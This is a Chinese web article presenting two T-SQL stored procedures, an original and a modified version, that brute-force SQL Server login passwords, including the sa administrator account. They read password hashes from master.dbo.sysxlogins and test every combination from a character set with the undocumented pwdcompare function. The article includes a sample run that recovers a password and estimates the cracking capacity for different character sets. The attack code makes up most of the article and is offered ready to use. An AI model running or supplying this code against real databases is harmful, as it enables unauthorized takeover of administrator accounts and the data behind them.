视频1 视频21 视频41 视频61 视频文章1 视频文章21 视频文章41 视频文章61 推荐1 推荐3 推荐5 推荐7 推荐9 推荐11 推荐13 推荐15 推荐17 推荐19 推荐21 推荐23 推荐25 推荐27 推荐29 推荐31 推荐33 推荐35 推荐37 推荐39 推荐41 推荐43 推荐45 推荐47 推荐49 关键词1 关键词101 关键词201 关键词301 关键词401 关键词501 关键词601 关键词701 关键词801 关键词901 关键词1001 关键词1101 关键词1201 关键词1301 关键词1401 关键词1501 关键词1601 关键词1701 关键词1801 关键词1901 视频扩展1 视频扩展6 视频扩展11 视频扩展16 文章1 文章201 文章401 文章601 文章801 文章1001 资讯1 资讯501 资讯1001 资讯1501 标签1 标签501 标签1001 关键词1 关键词501 关键词1001 关键词1501 专题2001
mssql使用存储过程破解sa密码
2020-11-09 07:05:47 责编:小采
文档

代码演示暴力破解MSSQL的帐号和密码,包括管理员帐号sa的密码。

网上有SQL Server Sa密码破解的存储过程,方法就是暴力破解MSSQL的帐号和密码,包括管理员帐号sa的密码,下面我对其它的代码稍做修改,并进行了一些性能分析。

首先说说破解过程序核心思想,就是存储帐号密码的master.dbo.sysxlogins表和未公布的密码比较存储过程pwdcompare。经过一方分析,修改了部分代码,下面贴出修改前后的代码,

一个SQL Server Sa密码破解的存储过程
代码如下:
alter proc p_GetPassword
    @username sysname=null, --用户名,如果不指定,则列出所有用户
    @pwdlen int=2 --要破解的密码的位数,默认是2位及以下的
as
    set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end
    select top 255 id=identity(int,0,1) into #t from syscolumns
    alter table #t add constraint PK_#t primary key(id)
    select name,password
        ,type=case when xstatus&2048=2048 then 1 else 0 end
        ,jm=case when password is null then 1 else 0 end
        ,pwdstr=cast('' as sysname)
        ,pwd=cast('' as varchar(8000))
        into #pwd
    from master.dbo.sysxlogins a
    where srvid is null
        and name=isnull(@username,name)
    declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000)
    declare @l int
    select @l=0
        ,@s1='char(aa.id)'
        ,@s2='cast(aa.id as varchar)'
        ,@s3=',#t aa'
    exec('
        update pwd set jm=1,pwdstr='+@s1+'
        ,pwd='+@s2+'
        from #pwd pwd'+@s3+'
        where pwd.jm=0
        and pwdcompare('+@s1+',pwd.password,pwd.type)=1
        ')
    while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)
    begin
        select @l=@l+1
        ,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'.id)'
        ,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'.id as varchar)'
        ,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)
        exec('
        update pwd set jm=1,pwdstr='+@s1+'
        ,pwd='+@s2+'
        from #pwd pwd'+@s3+'
        where pwd.jm=0
        and pwdcompare('+@s1+',pwd.password,pwd.type)=1
        ')
    end
    select 用户名=name,密码=pwdstr,密码ASCII=pwd
    from #pwd
GO

 下面是我修改后的代码:
代码如下:
alter proc p_GetPassword2
    @username sysname=null, --用户名,如果不指定,则列出所有用户
    @pwdlen int=2 --要破解的密码的位数,默认是2位及以下的
as
    set nocount on

    if object_id(N'tempdb..#t') is not null
        drop table #t
    if object_id(N'tempdb..#pwd') is not null
        drop table #pwd

    set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end

    declare @ss varchar(256)
    --select @ss= '1234567'
    select @ss=    'abcdefghijklmnopqrstuvwxyz'
    select @ss=@ss+ '`01234567-=[]\;,./'
    select @ss=@ss+ '~!@#$%^&*()_+{}|:<>?'
    --select @ss=@ss+    'ABCDEFGHIJKLMNOPQRSTUVWXYZ'

    create table #t(c char(1) not null)
    alter table #t add constraint PK_#t primary key CLUSTERED (c)
    declare @index int
    select @index=1
    while (@index <=len(@ss))
    begin
        insert #t select SUBSTRING(@ss, @index, 1)
        select @index = @index +1
    end

    select name,password
        ,type=case when xstatus&2048=2048 then 1 else 0 end
        ,jm=case when password is null then 1 else 0 end
        ,pwdstr=cast('' as sysname)
        ,pwd=cast('' as varchar(8000))
        ,times =cast('' as varchar(8000))
        into #pwd
    from master.dbo.sysxlogins a
    where srvid is null
        and name=isnull(@username,name)
    declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000), @stimes varchar(8000)

    declare @l int, @t bigint

    select @t = count(1)*POWER(len(@ss),1) from #pwd

    select @l=0
        ,@s1='aa.c'
        ,@s2='cast(ASCII(aa.c) as varchar)'
        ,@s3=',#t aa'
        ,@stimes='1th,' + cast(@t as varchar(20)) + 'rows'

    exec('
        update pwd set jm=1,pwdstr='+@s1+'
        ,pwd='+@s2+'
        from #pwd pwd'+@s3+'
        where pwd.jm=0
        and pwdcompare('+@s1+',pwd.password,pwd.type)=1
        ')
    while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)
    begin
        select @l=@l+1
        select @t = count(1)*POWER(len(@ss),@l+1) from #pwd
        print @t

        select
        @s1=@s1+'+'+char(@l/26+97)+char(@l%26+97)+'.c'
        ,@s2=@s2+'+'',''+cast(ASCII('+char(@l/26+97)+char(@l%26+97)+'.c) as varchar)'
        ,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)
        ,@stimes=@stimes+';'+ cast(@l+1 as varchar(1)) + 'th,' + cast(@t as varchar(20)) + 'rows'

        exec('
        update pwd set jm=1,pwdstr='+@s1+'
        ,pwd='+@s2+'
        ,times='''+@stimes+'''
        from #pwd pwd'+@s3+'
        where pwd.jm=0
        and pwdcompare('+@s1+',pwd.password,pwd.type)=1
        ')
    end
    select 用户名=name,密码=pwdstr,密码ASCII=pwd, 查询次数和行数=times
    from #pwd

    if object_id(N'tempdb..#t') is not null
        drop table #t
    if object_id(N'tempdb..#pwd') is not null
        drop table #pwd

我测试如下
代码如下:
p_GetPassword2 'b', 6

用户名 密码 密码ASCII 查询次数和行数
b 123 49,50,51 1th,66rows;2th,4356rows;3th,287496rows
 

性能分析:

本例以一个查询能查询bigint的最大值条记录9223372036854775807为限做为主机最大性能,来粗略计算破解性能。

破解一个帐号的密码长度,破解时间和性能消耗,是以所有用于破解的字符长度为底,以密码长度为指数的指数函数,即:破解帐号个数 * (所有用于破解的字符个数)最长密码长度次方 < 主机最大性能:

原存储过程使用256个破解字符,理论上可以破解7位密码,即2567<Max(bigint)。
我修改的存储过程使用66个键盘常规字符,理论上可以破解10位密码,即6610<Max(bigint)。
如果知道密码是10个数字字符的组合,理论上可以破解19位密码,即1019<Max(bigint)。

您可能感兴趣的文章:

  • MSSQL监控数据库的DDL操作(创建,修改,删除存储过程,创建,修改,删除表等)
  • PHP得到mssql的存储过程的输出参数功能实现
  • MSSQL MySQL 数据库分页(存储过程)
  • mssql存储过程表名和字段名为变量的实现方法
  • MSSQL存储过程学习笔记一 关于存储过程
  • 实例学习mssql存储过程分析
  • MySQL 存储过程中执行动态SQL语句的方法
  • sql存储过程详解
  • sqlserver存储过程语法详解
  • MSSQL事务的存储过程
  • 下载本文
    显示全文
    专题